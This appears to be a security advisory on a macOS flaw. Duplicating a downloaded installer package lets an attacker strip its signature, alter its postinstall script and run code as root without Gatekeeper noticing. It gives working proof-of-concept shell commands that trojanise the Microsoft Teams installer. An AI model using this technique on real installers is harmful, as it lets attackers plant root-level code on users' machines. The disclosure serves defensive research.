During the installation process, some packages (.pkg) require elevated privileges in order to perform certain operations (such as creating a LaunchDaemon). This is quite common and users are very familiar with this process. For example, if an installer requires elevated privileges to perform an action defined in a package, when launching the installer, the user will be prompted to authenticate as an administrator.
In the case of downloading a package from the internet, we can observe that modifying this package will trigger an alert to the user upon opening it claiming that it has failed signature validation due to being modified or corrupted. If we duplicate the package and modify it, however, we can remove the signature altogether, modify files at will, and repackage it. Most users will not notice that the installer is no longer signed (the lock symbol in the upper right hand corner of the installer dialog) since the remainder of the assets used in the installer will look as expected. This newly modified file will also run without being caught or validated by gatekeeper and could allow malware or some other malicious actor to achieve privilege escalation to root. Additionally, this process can be completely automated by monitoring for .pkg downloads and abusing the fact that all .pkg files follow the same general format.
The below instructions can be used to demonstrate this process using a common application: Microsoft Teams. Please note, however, that this issue is not specific to this installer/product and can be generalized and even automated to work with any arbitrary installer. The steps below are for demonstrative purposes only and are specific to Teams in order to simplify explanation.
To start, download the Microsoft Teams installation package here: https://www.microsoft.com/en-us/microsoft-teams/download-app#desktopAppDownloadregion
When downloaded, this should appear in the user's Downloads folder (~/Downloads). Prior to running the installer, open a Terminal session and run the following commands:
# Rename the package
yes | mv ~/Downloads/Teams_osx.pkg ~/Downloads/old.pkg
pkgutil --expand ~/Downloads/old.pkg ~/Downloads/extract
# Modify the post installation script used by the installer
mv /Downloads/extract/Teams_osx_app.pkg/Scripts/postinstall /Downloads/extract/Teams_osx_app.pkg/Scripts/postinstall.bak
echo "#!/usr/bin/env sh\nid > ~/Downloads/exploit\n$(cat ~/Downloads/extract/Teams_osx_app.pkg/Scripts/postinstall.bak)" > ~/Downloads/extract/Teams_osx_app.pkg/Scripts/postinstall
rm -f ~/Downloads/extract/Teams_osx_app.pkg/Scripts/postinstall.bak
chmod +x ~/Downloads/extract/Teams_osx_app.pkg/Scripts/postinstall
# Repackage and rename the installer as expected
pkgutil -f --flatten ~/Downloads/extract ~/Downloads/Teams_osx.pkg
When a user runs this newly created package, it will operate exactly as expected from the perspective of the end user. Post-installation, however, we can see that the postinstall script run during installation has created a new file at "~/Downloads/exploit" that contains the output of the "id" command as run by the root user, demonstrating successful privilege escalation.